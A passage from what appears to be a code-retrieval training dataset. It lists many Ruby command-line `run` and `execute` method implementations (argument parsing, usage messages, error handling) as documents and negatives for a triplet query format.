"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run\n begin\n raise TooManyArgumentsError.new(@arguments) if @arguments.length > 1\n \n print_version if @options.version?\n scan if @options.scan?\n rename_given_file unless @arguments.empty?\n run_gui if @arguments.empty?\n \n raise Error\n rescue => e\n puts e.to_s\n \n exit(1)\n end\n end",
"def run\n if arguments = parse_arguments\n begin\n process(arguments)\n rescue RuntimeError => ex\n Console.puts ex.message, :red\n exit 1\n end\n else\n if show_help?\n show_help(nil, Console.width).each do |line|\n Console.puts line, :cyan\n end\n else\n show_usage(nil, Console.width).each do |line|\n Console.puts line, :yellow\n end\n end\n exit 2\n end\n end",
"def run\n code = 0\n opt = OptionParser.new\n define_options(opt)\n default_options(opt)\n define_exit_codes(opt)\n argv = opt.parse!\n\n if @help\n puts_msg(opt.help)\n\n else\n begin\n main(argv)\n rescue Exception => e\n arr = @@exit_code_map[e.class]\n code = arr ? arr[0] : 1\n puts_err e.to_s\n puts_err \"[ERROR]\"\n end\n end\n\n exit(code)\n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n if process_arguments == false\n return\n end\n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n standard_exception_handling do\n handle_env(ENV)\n handle_options(ARGV)\n config.cmdline = CmdlineBuilder.new(config, Dir.pwd, $0, ENV)\n @output_stream.puts config.output\n end\n end",
"def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n\n process_arguments \n process_command\n\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n\n else\n output_usage\n end\n end",
"def run(arguments)\n config = Configuration.load_applicable\n run_command(config, arguments)\n\n ExitCodes::OK\n rescue => ex\n ErrorHandler.new(@ui).handle(ex)\n end",
"def run\n if parsed_options? && arguments_valid?\n log \"Start at #{DateTime.now}\\n\"\n output_options\n\n process_arguments\n process_command\n log \"Finished at #{DateTime.now}\"\n else\n output_usage\n end\n end",
"def _run(argv = [])\n execute(parse_options(argv))\n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\\n\\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n os \n process_command\n \n puts \"\\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n if parsed_options? && arguments_valid?\n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n output_options if @options.verbose\n\n process_command\n\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n else\n output_usage\n end\n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\\\n\\\\n\" if @options.verbose\n\n process_arguments \n process_command\n \n puts \"\\\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n\n\t\tif parsed_options? && arguments_valid?\n\n\t\t puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n\n\t\t output_options if @options.verbose # [Optional]\n\n\t\t process_arguments\n\t\t process_command\n\n\t\t puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n\n\t\telse\n\t\t output_usage\n\t\tend\n\n\tend",
"def run\n unless parsed_options? && arguments_valid? \n output_usage and return\n end\n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n end",
"def run\n if parsed_options? && arguments_valid?\n log \"Start at #{DateTime.now}\\n\"\n output_options\n process_command\n log \"Finished at #{DateTime.now}\"\n else\n output_usage\n end\n end",
"def run\n\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_usage\n end\n\n end",
"def run\n\n if parsed_options? && arguments_valid? \n\n puts \"Start at #{Time.new.to_s}\\n\\n\" if @options.verbose\n\n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n\n puts \"\\nFinished at #{Time.new.to_s}\" if @options.verbose\n\n else\n output_usage\n end\n\n end",
"def run\n # puts \"parsed_options? >>> #{parsed_options?}\"\n # puts \"arguments_valid? >>> #{arguments_valid?}\"\n if parsed_options? && arguments_valid?\n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n process_arguments\n \n output_options if @options.verbose # [Optional]\n \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_usage\n end\n end",
"def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\\\\n\\\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\\\nFinished at #{DateTime.now}\" if @options.verbose\n else\n output_usage\n end\n end",
"def main\n if system(ARGV.join(\" \"))\n exit 0\n else\n main\n end\nend",
"def run(arguments)\n run_command(arguments)\n\n ExitCodes::OK\n rescue => ex\n ErrorHandler.new(@ui).handle(ex)\n end",
"def run\n testable = Parser.new(@argv).parse\n Executor.new(testable).execute\n end",
"def run(argv)\n options = parse(argv)\n invoke!(options.to_h)\n end",
"def run\n\t\tif parsed_options? && arguments_valid?\n\t\t\toutput_options if @options[:verbose]\n\t\t\toutput_arguments if @options[:verbose]\n\t\t\tprocess_arguments\n\t\t\tprocess_command\n\t\telse\n\t\t\toutput_usage\n\t\tend\n\tend",
"def run\n if options_valid? && option_combinations_valid? \n process_arguments \n process_command\n else\n output_usage\n end\n end",
"def run\n # puts arguments_valid?\n if parsed_options?\n puts \"Start at #{DateTime.now}\" if verbose?\n\n output_options if verbose?\n\n process_command\n\n puts \"\\nFinished at #{DateTime.now}\" if verbose?\n else\n puts 'The options passed are not valid!'\n end\n end",
"def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n output_options if @options.verbose\n process_arguments \n start\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n else\n output_usage\n end \n end",
"def run(argv = ARGV)\n #p [:argv, argv]\n begin\n # cheating\n if argv.include?('-h') or argv.include?('--help')\n puts help_text\n else\n app = from_argv(argv)\n app.run\n end\n rescue Exception => e\n if exit_status == 0\n exit_status 1\n end\n puts \"\\nERROR: #{e}\"\n ensure\n exit(exit_status)\n end\n end",
"def run \n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\"\n process_arguments(@validoptions.args)\n puts \"Finished at #{DateTime.now}\"\n else\n raise BoilerMakerErr.new(\"Could not parse options. An unknown error has ocurred.\")\n exit $!\n end\n end",
"def run(args)\n safely_mkdir(MAIN_DIR)\n safely_mkdir(MOD_DIR)\n safely_mkdir(PACK_DIR)\n\n return HELP_TEXT if args.include?('-h') || args.include?('--help')\n return VERSION if args.include?('-v') || args.include?('--version')\n\n case args[0]\n when 'help'\n return HELP_COMMANDS[args[1].to_sym] if HELP_COMMANDS.key?(args[1].to_sym)\n return HELP_TEXT\n when 'fetch'\n return CommandFetch.run(args[1])\n when 'manifest'\n return CommandFetch.install_manifest(args[1])\n when 'installmod'\n return CommandInstall.run_mod(args[1])\n when 'installpack'\n return CommandInstall.run_pack(args[1]).to_s # remove\n else\n end\n end",
"def run(args = [], runtime_options = {})\r\n begin\r\n parse!(args.dup, runtime_options)\r\n rescue OptionParser::InvalidOption => e\r\n # Don't cry, script. Generators want what you think is invalid.\r\n end\r\n\r\n # Generator name is the only required option.\r\n unless options[:generator]\r\n usage if args.empty?\r\n options[:generator] ||= args.shift\r\n end\r\n\r\n # Look up generator instance and invoke command on it.\r\n Rails::Generator::Base.instance(options[:generator], args, options).command(options[:command]).invoke!\r\n rescue => e\r\n puts e\r\n puts \" #{e.backtrace.join(\"\\n \")}\\n\" if options[:backtrace]\r\n raise SystemExit\r\n end",
"def parse!\n begin\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n @options\n rescue Exception => e\n raise e if e.is_a?(SystemExit)\n\n $stderr.puts e.message\n exit 1\n end\n exit 0\n end",
"def run(argv = ARGV)\n parser.parse(argv)\n end",
"def run!(options = {})\n run_option_parser.parse!(ARGV.dup) unless ARGV.empty?\n @running = true\n super(options)\n end",
"def run(args)\n # force immediate output\n $stdout.sync = true\n\n # setup logging\n Giblog.setup\n\n # Parse cmd line\n cmdline = CmdLineParser.new args\n Giblog.logger.debug { \"cmd line args: #{cmdline.args}\" }\n\n exit_code = execute_conversion(cmdline)\n Giblog.logger.info { \"Giblish is done!\" } if exit_code.zero?\n exit_code\n end",
"def run\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_options\n end\n end",
"def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n output_options if @options.verbose # [Optional]\n process_arguments \n process_command\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n else\n Trollop::die \"user error, replace user and continue\"\n end\n end",
"def execute(args)\n # Analyze arguments\n remaining_args = @options.parse(args)\n if @display_help\n puts @options\n elsif (remaining_args.size > 2)\n puts 'Please specify just 1 file to be loaded on startup.'\n puts @options\n else\n activate_log_debug(true) if @debug\n log_info 'Loading GUI libraries...'\n require 'gtk2'\n Gdk::Threads.init\n require 'ruby-serial'\n require 'filesrebuilder/Model/Data'\n require 'filesrebuilder/GUIFactory'\n require 'filesrebuilder/GUIcontroller'\n require 'filesrebuilder/_Gtk/_object'\n require 'rUtilAnts/Platform'\n RUtilAnts::Platform::install_platform_on_object\n gui_factory = GUIFactory.new\n gui_controller = GUIController.new(gui_factory)\n gui_factory.gui_controller = gui_controller\n Gtk::Settings.default.gtk_button_images = true\n log_info 'Executing application...'\n main_widget = gui_factory.new_widget('Main')\n gui_controller.set_main_widget(main_widget)\n main_widget.show\n gui_controller.run_callback_dirline_progress_bars\n gui_controller.load_from_file(remaining_args[0]) if (remaining_args.size == 1)\n Gtk.main\n log_info 'Quitting application...'\n end\n end",
"def parse(args)\n @args = args\n @instruction = args.join(' ')\n until @args.empty?\n arg = @args[0]\n if @instructions.key? arg\n @args.shift\n buff = args_extract(arg, @instructions[arg][0])\n @to_exec << [arg, buff]\n else\n bad_argument_exit(arg)\n end\n end\n run\n end",
"def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\" if @options.verbose\n output_options if @options.verbose # [Optional]\n process_arguments\n # add parameters\n args = {}\n # TODO: use correct syntax for set\n args[:verbose] = @options.verbose if @options.verbose\n args[:input] = @options.input if @options.input\n args[:output] = @options.output if @options.output\n args[:map_name] = @options.map_name if @options.map_name\n args[:not_installed] = @options.cwd if @options.cwd\n \n program = Guy.new args\n program.work\n puts \"Finished at #{DateTime.now}\" if @options.verbose\n else\n output_usage\n end \n end",
"def run\n @arguments = ArgumentParser.get_arguments VALID_ARGUMENTS\n print_help if (@arguments[:options][:help])\n print_version if (@arguments[:options][:version])\n if (@arguments[:keywords][:export])\n handle_export\n elsif (@arguments[:keywords][:import])\n handle_import\n else\n print_help\n end\n end",
"def execute(sub_argv)\n\n $logger.info \"ExecuteRubyScript, sub_argv = #{sub_argv}\"\n\n require 'pathname'\n\n options = {}\n\n opts = OptionParser.new do |o|\n o.banner = 'Usage: openstudio execute_ruby_script file [arguments]'\n end\n\n if sub_argv.size == 1\n if sub_argv[0] == '-h' || sub_argv[0] == '--help'\n safe_puts(opts.help)\n return 0\n end\n end\n\n # Parse the options\n # DLM: don't do argument parsing as in other commands since we want to pass the remaining arguments to the ruby script\n return 0 if sub_argv == nil\n return 1 unless sub_argv\n $logger.debug(\"ExecuteRubyScript command: #{sub_argv.inspect}\")\n file_path = sub_argv.shift.to_s\n file_path = File.absolute_path(File.join(Dir.pwd, file_path)) unless Pathname.new(file_path).absolute?\n $logger.debug \"Path for the file to run: #{file_path}\"\n\n ARGV.clear\n sub_argv.each do |arg|\n ARGV << arg\n end\n\n $logger.debug \"ARGV: #{ARGV}\"\n\n unless File.exists? file_path\n $logger.error \"Unable to find the file #{file_path} on the filesystem\"\n return 1\n end\n\n require file_path\n\n 0\n end",
"def run\n begin\n process_arguments\n rescue ArgumentError\n output_usage\n end\n end",
"def run\n input = OptionParser.new do |opts|\n opts.banner = \"Usage: #{File.basename($0)} [options]\"\n\n opts.on(\"--debug\", \"Turn on debugging output.\") do |debug|\n $DEBUG = @options[:debug] = debug\n end\n\n opts.on(\"-n <path>\", \"--new\", \"Create a new Corrupt application.\") do |path|\n @options[:path] = path\n end\n\n opts.on(\"-v\", \"--version\", \"Print the version.\") do |v|\n output(Corrupt.to_version)\n exit\n end\n end\n\n begin\n @argv << '--help' if @argv.empty?\n input.parse!(@argv)\n take_action!\n rescue OptionParser::InvalidOption => error\n error(\"#{error}\\nTry passing '--help'\")\n rescue OptionParser::MissingArgument => error\n error(\"#{error}\\nTry passing '--help'\")\n end\n end",
"def execute(sub_argv)\n\n $logger.info \"RubyVersion, sub_argv = #{sub_argv}\"\n\n options = {}\n\n opts = OptionParser.new do |o|\n o.banner = 'Usage: openstudio ruby_version'\n end\n\n # Parse the options\n argv = parse_options(opts, sub_argv)\n return 0 if argv == nil\n\n $logger.debug(\"RubyVersion command: #{argv.inspect} #{options.inspect}\")\n\n unless argv == []\n $logger.error 'Arguments passed to the ruby_version command.'\n return 1\n end\n\n safe_puts RUBY_VERSION\n\n 0\n end",
"def cli(commandline_arguments)\n CLITest.new(BIN_P).run(commandline_arguments)\n end",
"def go_with_args(argv=[])\n catch(:exit_err) { catch(:exit_zero) { @cli_obj.go(argv) } }\n end",
"def exe(*args)\r\n app.exe(self, args)\r\n end",
"def run(*args)\n cli.run(*args)\n end",
"def run!\n trace = false\n require_program :version, :description\n\n global_option('-h', '--help', 'Help on any command', :hide => true)\n global_option('--version', 'Display version information', :hide => true)\n\n # special case --debug so all commands can output relevant info on it\n $terminal.debug = options_parse_debug\n\n # special case --trace because we need to use it in the runner\n trace = options_parse_trace\n\n # special case --version so it is processed before an invalid command\n options_parse_version\n\n # help is a special branch prior to command execution\n options_parse_help\n\n unless trace\n begin\n run_active_command\n rescue InvalidCommandError => e\n run_help(provided_arguments)\n rescue \\\n OptionParser::InvalidOption => e\n RHC::Helpers.error e.message\n 1\n rescue \\\n ArgumentError,\n OptionParser::ParseError => e\n\n help_bindings = CommandHelpBindings.new(active_command, commands, self)\n usage = RHC::HelpFormatter.new(self).render_command_syntax(help_bindings)\n message = case e\n when OptionParser::AmbiguousOption\n \"The option #{e.args.join(' ')} is ambiguous. You will need to specify the entire option.\"\n else\n e.message\n end\n\n RHC::Helpers.error message\n say \"#{usage}\"\n 1\n rescue RHC::Exception, RHC::Rest::Exception => e\n RHC::Helpers.error e.message\n e.code.nil? ? 128 : [1, (e.code || 1).to_i].max\n end\n else\n run_active_command\n end\n end",
"def run(argv)\n arguments = parse(argv)\n return if @quit\n\n Wright.activate_dry_run if @dry_run\n Wright.log.level = @log_level if @log_level\n @main.extend Wright::DSL\n\n run_script(arguments)\n end",
"def run(args = ARGV, disable_usage_message = false)\n # TODO: signal handling of some kind?\n\n result, matched = _run(args.dup)\n\n if !matched && !disable_usage_message\n usage\n end\n\n result\n rescue RuntimeError => e\n if @rescue_errors\n $stderr.puts \"A runtime error occured: #{e.message.strip}\"\n nil\n else\n raise e\n end\n end",
"def run(args = ARGV)\n trap_interrupt\n\n @options, remaining_args = Options.new.parse(args)\n target_files = target_finder.find(remaining_args)\n\n act_on_options(remaining_args)\n\n any_failed = process_files(target_files)\n\n display_error_summary(@errors)\n\n !any_failed && !wants_to_quit ? 0 : 1\n rescue => e\n $stderr.puts e.message\n return 1\n end",
"def run\n\n if parsed_options? && arguments_valid? && client_configured?\n\n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n\n output_options if @options.verbose # [Optional]\n\n process_arguments\n process_command\n\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n\n else\n output_usage\n end\n\n end",
"def run_from_command_line\n handle_exceptions do\n remotes.load\n handle_options\n execute_command_from_command_line\n end\n end",
"def run(args)\n opts.parse!(args)\n\n command = args.shift\n if command.nil?\n puts opts\n else\n meth = command.gsub(\"-\", \"_\").to_sym\n if respond_to?(meth)\n send(meth)\n else\n puts %(`#{command}` is not a #{opts.program_name} command. See `#{opts.program_name} --help` for a list of available commands.)\n end\n end\n end",
"def run( args )\n args = args.dup\n\n parse args\n init args\n self.__send__(*@command)\n end",
"def run(arguments)\n parse(arguments)\n configure\n execute\n end",
"def run_executable(full_commandline)\n log.debug \"running #{full_commandline}\"\n Process.wait(Process.spawn(full_commandline))\n $CHILD_STATUS.exitstatus == 0\n end",
"def command_line\r\n ARGV.each do |arg|\r\n if arg == \"instructions\"\r\n instructions\r\n elsif arg == \"calculator\"\r\n ask_for_digits\r\n else\r\n \r\n end\r\n end\r\n \r\n end",
"def run\n Byebug.mode = :standalone\n\n option_parser.order!($ARGV)\n return if non_script_option? || error_in_script?\n\n $PROGRAM_NAME = program\n\n Byebug.run_init_script if init_script\n\n loop do\n debug_program\n\n break if quit\n\n ControlProcessor.new(nil, interface).process_commands\n end\n end",
"def run(argv)\n # parse and analyze the command line\n options = Trollop::with_standard_exception_handling @args_parser do\n opts = @args_parser.parse(argv)\n\n raise Trollop::CommandlineError.new \"Too many arguments\" if argv.length > 1\n \n opts\n end\n \n path = (argv.shift or '.')\n \n Dir.chdir(path) do\n #include CRake\n load(options.input)\n end\n \n code = gen_cmake_code\n \n puts code # tem for debugging\n \n write_cmake_lists\n \n puts 'Calling CMake...'\n call_cmake\n end",
"def run(argv)\n Bgo::Application::Service.startup_services(self)\n\n rv = 0\n if @interactive\n run_interactive\n else\n cmd_name = argv.shift\n cmd = get_command cmd_name\n rv = cmd ? run_command( cmd, argv ) : -1\n end\n\n Bgo::Application::Service.shutdown_services(self)\n exit rv\n end",
"def execute\n cli_options = OptionManager.new.execute\n argv = parse_options(cli_options[:parser])\n \n return unless argv\n \n if [nil, ''].include? cli_options[:values][:cmd]\n env.ui.info cli_options[:parser]\n else\n with_target_vms(argv) do |machine|\n manage_machine(machine, cli_options) \n end\n end\n 0\n end",
"def run(program,*args)\n system(program,*args)\n end",
"def execute\n setup\n begin\n data = main\n rescue ArgumentError => e\n warn e.message\n exit 1\n end\n puts format_data(data)\n end",
"def run(args)\n sub_args = parse_command_line(args)\n return if @help_requested\n\n cmd = sub_args.shift\n if @sub_commands.key?(cmd)\n sub_cmd = @sub_commands[cmd].new\n sub_cmd.run(sub_args)\n else\n help\n\n if cmd || !args.empty?\n fail(\n Simp::Cli::ProcessingError,\n \"ERROR: Did not recognize sub-command '#{cmd} #{args.join(' ')}'\"\n )\n end\n\n fail(Simp::Cli::ProcessingError, 'ERROR: Did not provide sub-command')\n end\n end",
"def run args\n if host.nil?\n fail_with \"This system is not supported.\"\n elsif (task.verb = extract_verb(args)).nil?\n fail_with \"Not sure what you meant.\"\n else\n parse_cmdline task.verb, args\n send \"handle_#{task.verb.def.name}\", task.verb\n end\n ensure\n Base.threads.each &:join\n end",
"def run(argv)\n load_tasks\n\n if argv.empty?\n print_help\n else\n build_task(argv).run\n end\n end",
"def start(args=ARGV)\n @command, @options, @args = parse_args(args)\n return print_usage if args.empty? || (@command.nil? && !@options[:console] && !@options[:execute])\n return ConsoleRunner.bin_start(@options[:console], @options[:load]) if @options[:console]\n init\n View.toggle_pager if @options[:pager_toggle]\n\n if @options[:help]\n Boson.invoke(:usage, @command, :verbose=>@options[:verbose])\n elsif @options[:execute]\n Boson.main_object.instance_eval @options[:execute]\n else\n execute_command\n end\n rescue Exception\n is_invalid_command = lambda {|command| !Boson.can_invoke?(command[/\\w+/]) ||\n (Boson.can_invoke?(command[/\\w+/]) && command.include?('.') && $!.is_a?(NoMethodError)) }\n print_error_message @command && is_invalid_command.call(@command) ?\n \"Error: Command '#{@command}' not found\" : \"Error: #{$!.message}\"\n end",
"def run(args)\n opts = parse_options(args)\n unless @end_program\n crawler = Spiderman::Crawler.new(opts)\n crawler.crawl\n end\n end",
"def run\n \n if parsed_options?\n \n process_command\n end\n \n end",
"def run\n if !options_parsed?() || !options_valid?()\n @stderr.puts(\"\")\n output_usage(@stderr)\n return 1\n end\n return run_real()\nend",
"def run( args )\n cmd_str = args.shift\n cmd = case cmd_str\n when 'create'; CreateCommand.new(@out, @err)\n when 'freeze'; FreezeCommand.new(@out, @err)\n when 'unfreeze'; UnfreezeCommand.new(@out, @err)\n when 'info'; InfoCommand.new(@out, @err)\n when nil, '-h', '--help'\n help\n when '-v', '--version'\n @out.puts \"Docbones #{::Docbones::VERSION}\"\n nil\n else\n raise \"Unknown command #{cmd_str.inspect}\"\n end\n\n cmd.run args if cmd\n\n rescue StandardError => err\n @err.puts \"ERROR: While executing docbones ... (#{err.class})\"\n @err.puts \" #{err.to_s}\"\n exit 1\n end",
"def cli(commandline_arguments)\n CLITest.new(BINARY).run(commandline_arguments)\n end",
"def initialize(*args)\n return self if args.empty?\n parsed_args = args.first.is_a?(Hash) ? args.first : parse_string_args(args)\n\n self.executable = parsed_args[:executable]\n self.arguments = parsed_args[:arguments]\n end",
"def run(argv)\n arguments = parse(argv)\n return if quit\n\n Wright.activate_dry_run if dry_run\n Wright.log.level = log_level if log_level\n main.extend Wright::DSL\n requires.each { |r| require r }\n\n run_script(arguments)\n end",
"def parse_command_line(args)\n test_configuration = {}\n\n option_parser = OptionParser.new do |opts|\n opts.banner = 'Usage: run-tests.rb [options]'\n opts.separator 'Specific options:'\n\n opts.on('--blinkr', 'Execute broken link checks') do |opt|\n test_configuration[:blinkr] = opt\n end\n\n opts.on('--dcp', 'Execute dcp broken link checks') do |opt|\n test_configuration[:dcp] = opt\n end\n\n opts.on('--base-url RHD_BASE_URL', String, 'Run the tests against the specified host e.g http://developers.stage.redhat.com') do |host|\n test_configuration[:base_url] = host\n end\n\n opts.on('-c CONFIG_FILE', 'specify the config.yaml file for broken link checks') do |opt|\n test_configuration[:config] = opt\n end\n\n opts.on('--ignore-internal', \"Ignore internal URL's\") do |opt|\n test_configuration[:ignore_internal] = opt\n end\n\n opts.on('--ignore-external', \"Ignore external URL's\") do |opt|\n test_configuration[:ignore_external] = opt\n end\n\n opts.on('--ignore-ssl', 'Disable SSL certificate checking for staging environments') do |opt|\n test_configuration[:ignore_ssl] = opt\n end\n\n #\n # Options supporting the execution of the tests within Docker\n #\n opts.on('--use-docker', 'Run the specified test type using Docker') do\n test_configuration[:docker] = true\n end\n\n opts.on_tail('-h', '--help', 'Show this message') do\n puts opts\n Kernel.exit(1)\n end\n end\n\n begin\n option_parser.parse!(args)\n rescue OptionParser::InvalidOption => e\n puts e\n option_parser.parse(%w(-h))\n end\n bind_test_type_environment_variable(test_configuration)\n build_test_execution_command(test_configuration)\n test_configuration\n end",
"def run(argv = [])\n @options.parse!(argv)\n\n @rackup = argv.delete_at(0)\n @rackup = File.join(Dir.pwd, 'config.ru') if @rackup.nil?\n\n if File.directory?(@rackup)\n @rackup = File.join(@rackup, 'config.ru')\n end\n\n if !File.exist?(@rackup)\n abort \"The Rackup file #{@rackup} does not exist\"\n end\n\n stop = Ramaze::Bin::Runner::Commands[:stop].new\n start = Ramaze::Bin::Runner::Commands[:start].new\n params = [@rackup]\n\n unless @pid.nil?\n params.push(\"-P #{@pid}\")\n end\n\n stop.run([@pid])\n start.run(params)\n end",
"def invoke(argv)\n system(\n argv.join(' ')\n )\n end",
"def run(*args, verbose: true)\n pretty_command = prettify_command(*args)\n puts(\" $ #{pretty_command}\") if verbose\n unless system(*args)\n raise Exception.new(\"Could not execute `#{pretty_command}`, status nil\") if $?.nil?\n status = $?.exitstatus\n if status == 127\n raise Exception.new(\"Command not found... `#{pretty_command}` (#{status})\")\n else\n raise Exception.new(\"Command failed... `#{pretty_command}` (#{status})\")\n end\n end\n end",
"def go(argv)\n logger.debug(\"Using args passed in: #{argv.inspect}\")\n\n cmd = nil\n\n @optparse = OptionParser.new do |opts|\n cmd = super(argv, opts, @config)\n\n opts.on('-v', '--version', 'Print the version') do\n puts \"#{name} #{version}\"\n abort\n end\n end\n\n @optparse.parse!(argv)\n\n logger.debug(\"Parsed config: #{@config.inspect}\")\n\n cmd.execute(argv, @config)\n end",
"def test_arguments\n with_fixture 'arguments' do\n assert system(\"ruby\", ocra, \"arguments.rb\", *DefaultArgs)\n assert File.exist?(\"arguments.exe\")\n system(\"arguments.exe foo \\\"bar baz\\\"\")\n assert_equal 5, $?.exitstatus\n end\n end",
"def run\n begin\n parse_options\n rescue UnsupportedOption\n exit 1\n end\n\n dir = @options[:directory]\n Dir.chdir(dir) if dir\n\n prune_bundler if prune_bundler?\n\n set_rack_environment\n\n if clustered?\n @events.formatter = Events::PidFormatter.new\n @options[:logger] = @events\n\n @runner = Cluster.new(self)\n else\n @runner = Single.new(self)\n end\n\n setup_signals\n set_process_title\n\n @status = :run\n\n @runner.run\n\n case @status\n when :halt\n log \"* Stopping immediately!\"\n when :run, :stop\n graceful_stop\n when :restart\n log \"* Restarting...\"\n @runner.before_restart\n restart!\n when :exit\n # nothing\n end\n end",
"def run(args = ARGV)\n @args = args\n validate!\n Spanx::CLI.subclass_class(args.shift).new.run(args)\n end",
"def run *args\n puts args.first.join ' '\n status, stdout, stderr = systemu *args\n puts stdout, stderr unless status.success?\nend",
"def parse_command_line args\n args.options do |opt|\n opt.on(\"rutema v#{Version::STRING}\")\n opt.on(\"Options:\")\n opt.on(\"--config FILE\", \"-c FILE\",String,\"Loads the configuration from FILE\") { |config_file| @config_file=config_file}\n opt.on(\"--check\",\"Runs just the suite setup test\"){@check=true}\n #opt.on(\"--step\",\"Runs test cases step by step\"){@step=true}\n opt.on(\"--silent\",\"Suppresses console output (only for the default reporters)\") { @silent=true}\n opt.on(\"--bare\",\"No default reporters whatsoever\") { @bare=true}\n #opt.on(\"--color\",\"Adds color to the Console reporter\") { @color=true}\n opt.on(\"-v\", \"--version\",\"Displays the version\") { $stdout.puts(\"rutema v#{Version::STRING}\");exit 0 }\n opt.on(\"--help\", \"-h\", \"-?\", \"This text\") { $stdout.puts opt; exit 0 }\n opt.on(\"--debug\", \"-d\", \"Turn on debug messages\") { $DEBUG=true }\n opt.on(\"You can provide a specification filename in order to run a single test\")\n opt.parse!\n #and now the rest\n unless @config_file\n puts \"No configuration file defined!\\n\"\n $stdout.puts opt \n exit 1\n end\n if !args.empty?\n @test_identifier=args.shift\n end\n end\n end",
"def execute\n $logger.debug \"Main arguments are #{$main_args}\"\n $logger.debug \"Sub-command is #{$sub_command}\"\n $logger.debug \"Sub-arguments are #{$sub_args}\"\n if $main_args.include?('-h') || $main_args.include?('--help')\n # Help is next in short-circuiting everything. Print\n # the help and exit.\n help\n return 0\n end\n\n if !parse_main_args($main_args)\n help\n return 1\n end\n\n # -e commands detected\n if !$eval_cmds.empty?\n $eval_cmds.each do |cmd|\n $logger.debug \"Executing cmd: #{cmd}\"\n eval(cmd)\n end\n if $sub_command\n $logger.warn \"Evaluate mode detected, ignoring sub_command #{$sub_command}\"\n return 0\n end\n return 0\n end\n\n # If we reached this far then we must have a command. If not,\n # then we also just print the help and exit.\n command_plugin = nil\n if $sub_command\n command_plugin = command_list[$sub_command.to_sym]\n end\n\n if !command_plugin || !$sub_command\n help\n return 1\n end\n\n command_class = command_plugin[0].call\n $logger.debug(\"Invoking command class: #{command_class} #{$sub_args.inspect}\")\n\n # Initialize and execute the command class, returning the exit status.\n result = 0\n begin\n result = command_class.new.execute($sub_args)\n rescue Interrupt\n $logger.error '?'\n result = 1\n end\n\n result = 0 unless result.is_a?(Integer)\n result\n end",
"def main(*args)\n #puts self.class # TODO: fix help\n raise NoCommandError\n end",
